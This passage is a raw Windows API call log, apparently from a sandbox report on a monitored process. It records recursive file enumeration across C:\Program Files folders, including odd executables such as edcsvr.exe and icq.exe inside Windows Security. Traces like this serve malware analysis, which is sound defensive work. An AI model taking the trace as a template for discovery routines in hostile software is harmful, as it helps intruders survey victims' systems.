	[0181.040] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfb799f0, ftCreationTime.dwHighDateTime=0x1d5b515, ftLastAccessTime.dwLowDateTime=0x1e398740, ftLastAccessTime.dwHighDateTime=0x1d5a942, ftLastWriteTime.dwLowDateTime=0x1e398740, ftLastWriteTime.dwHighDateTime=0x1d5a942, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="notepad.exe", cAlternateFileName="")) returned 1
	[0181.040] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d6b25ca, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2d6b25ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2d6b25ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc220, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1
	[0181.040] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d6b25ca, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2d6b25ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2d6b25ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc220, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0
	[0181.040] FindClose (in: hFindFile=0x76e6a8 | out: hFindFile=0x76e6a8) returned 1
	[0181.041] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0181.041] FindNextFileW (in: hFindFile=0x76ec28, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3e8686d2, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e8686d2, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Security", cAlternateFileName="WIDB62~1")) returned 1
	[0181.041] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3ff2740
	[0181.041] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Security\\*", lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3e8686d2, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e8686d2, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e868
	[0181.041] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3e8686d2, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e8686d2, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0181.041] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92ad688, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrowserCore", cAlternateFileName="BROWSE~1")) returned 1
	[0181.041] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x40b0028
	[0181.042] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Security\\BrowserCore\\*", lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92ad688, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76e6a8
	[0181.042] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92ad688, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0181.042] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5845b6dc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x5845b6dc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x5845b6dc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x139a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BrowserCore.exe", cAlternateFileName="")) returned 1
	[0181.043] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa92ae2d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1
	[0181.043] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4094fb8
	[0181.228] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Security\\BrowserCore\\en-US\\*", lpFindFileData=0x372f308 | out: lpFindFileData=0x372f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa92ae2d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e7a8
	[0181.228] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f308 | out: lpFindFileData=0x372f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa92ae2d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0181.228] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f308 | out: lpFindFileData=0x372f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d802908, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x76ff649a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x1bb16400, ftLastWriteTime.dwHighDateTime=0x1d29fab, nFileSizeHigh=0x0, nFileSizeLow=0x3a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrowserCore.exe.mui", cAlternateFileName="")) returned 1
	[0181.228] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f308 | out: lpFindFileData=0x372f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d802908, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x76ff649a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x1bb16400, ftLastWriteTime.dwHighDateTime=0x1d29fab, nFileSizeHigh=0x0, nFileSizeLow=0x3a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrowserCore.exe.mui", cAlternateFileName="")) returned 0
	[0181.229] FindClose (in: hFindFile=0x76e7a8 | out: hFindFile=0x76e7a8) returned 1
	[0181.229] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4094fb8 | out: hHeap=0x710000) returned 1
	[0181.229] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5845b6dc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x5845b6dc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x5845b6dc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="manifest.json", cAlternateFileName="")) returned 1
	[0181.229] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5845b6dc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x5845b6dc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x5845b6dc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="manifest.json", cAlternateFileName="")) returned 0
	[0181.229] FindClose (in: hFindFile=0x76e6a8 | out: hFindFile=0x76e6a8) returned 1
	[0181.229] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0181.229] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31ce9140, ftCreationTime.dwHighDateTime=0x1d5baf6, ftLastAccessTime.dwLowDateTime=0xd63d5d70, ftLastAccessTime.dwHighDateTime=0x1d5cb6c, ftLastWriteTime.dwLowDateTime=0xd63d5d70, ftLastWriteTime.dwHighDateTime=0x1d5cb6c, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="edcsvr.exe", cAlternateFileName="")) returned 1
	[0181.229] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302a1eb0, ftCreationTime.dwHighDateTime=0x1d585b1, ftLastAccessTime.dwLowDateTime=0x643c2c70, ftLastAccessTime.dwHighDateTime=0x1d5c12a, ftLastWriteTime.dwLowDateTime=0x643c2c70, ftLastWriteTime.dwHighDateTime=0x1d5c12a, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="icq.exe", cAlternateFileName="")) returned 1
	[0181.229] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302a1eb0, ftCreationTime.dwHighDateTime=0x1d585b1, ftLastAccessTime.dwLowDateTime=0x643c2c70, ftLastAccessTime.dwHighDateTime=0x1d5c12a, ftLastWriteTime.dwLowDateTime=0x643c2c70, ftLastWriteTime.dwHighDateTime=0x1d5c12a, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="icq.exe", cAlternateFileName="")) returned 0
	[0181.229] FindClose (in: hFindFile=0x76e868 | out: hFindFile=0x76e868) returned 1
	[0181.229] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0181.231] FindNextFileW (in: hFindFile=0x76ec28, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aed1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1
	[0181.231] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3ff2740
	[0181.231] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\*", lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aed1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e868
	[0181.231] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aed1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0181.232] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92af7c3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadgets", cAlternateFileName="")) returned 1
	[0181.232] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x40b0028
	[0181.232] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\*", lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92af7c3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76e6a8
	[0181.232] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92af7c3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0181.232] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92af7c3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0
	[0181.232] FindClose (in: hFindFile=0x76e6a8 | out: hFindFile=0x76e6a8) returned 1
	[0181.237] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0181.237] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aff0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared Gadgets", cAlternateFileName="SHARED~1")) returned 1
	[0181.237] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x40b0028
	[0181.237] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Shared Gadgets\\*", lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aff0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76ea28
	[0181.237] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aff0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0181.237] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aff0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0
	[0181.237] FindClose (in: hFindFile=0x76ea28 | out: hFindFile=0x76ea28) returned 1
	[0181.237] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0181.237] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aff0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared Gadgets", cAlternateFileName="SHARED~1")) returned 0
	[0181.237] FindClose (in: hFindFile=0x76e868 | out: hFindFile=0x76e868) returned 1
	[0181.238] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0181.238] FindNextFileW (in: hFindFile=0x76ec28, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8da88b6d, ftLastAccessTime.dwHighDateTime=0x1d3274e, ftLastWriteTime.dwLowDateTime=0x8da88b6d, ftLastWriteTime.dwHighDateTime=0x1d3274e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="WindowsApps", cAlternateFileName="WI7DB9~1")) returned 1
	[0181.238] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3ff2740
	[0181.238] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\*", lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aff0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared Gadgets", cAlternateFileName="쮀z\x0b")) returned 0xffffffff
	[0181.238] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0181.238] FindNextFileW (in: hFindFile=0x76ec28, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502b1c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 1
	[0181.238] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3ff2740
	[0181.238] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\*", lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502b1c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76ea68
	[0181.239] FindNextFileW (in: hFindFile=0x76ea68, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502b1c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0181.239] FindNextFileW (in: hFindFile=0x76ea68, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502c09b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Configuration", cAlternateFileName="CONFIG~1")) returned 1
	[0181.239] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x40b0028
	[0181.239] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Configuration\\*", lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502c09b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76ea28
	[0181.240] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502c09b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0181.240] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502cf82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Registration", cAlternateFileName="REGIST~1")) returned 1
	[0181.240] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4094fb8
	[0181.241] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Configuration\\Registration\\*", lpFindFileData=0x372f308 | out: lpFindFileData=0x372f308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502cf82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e6a8
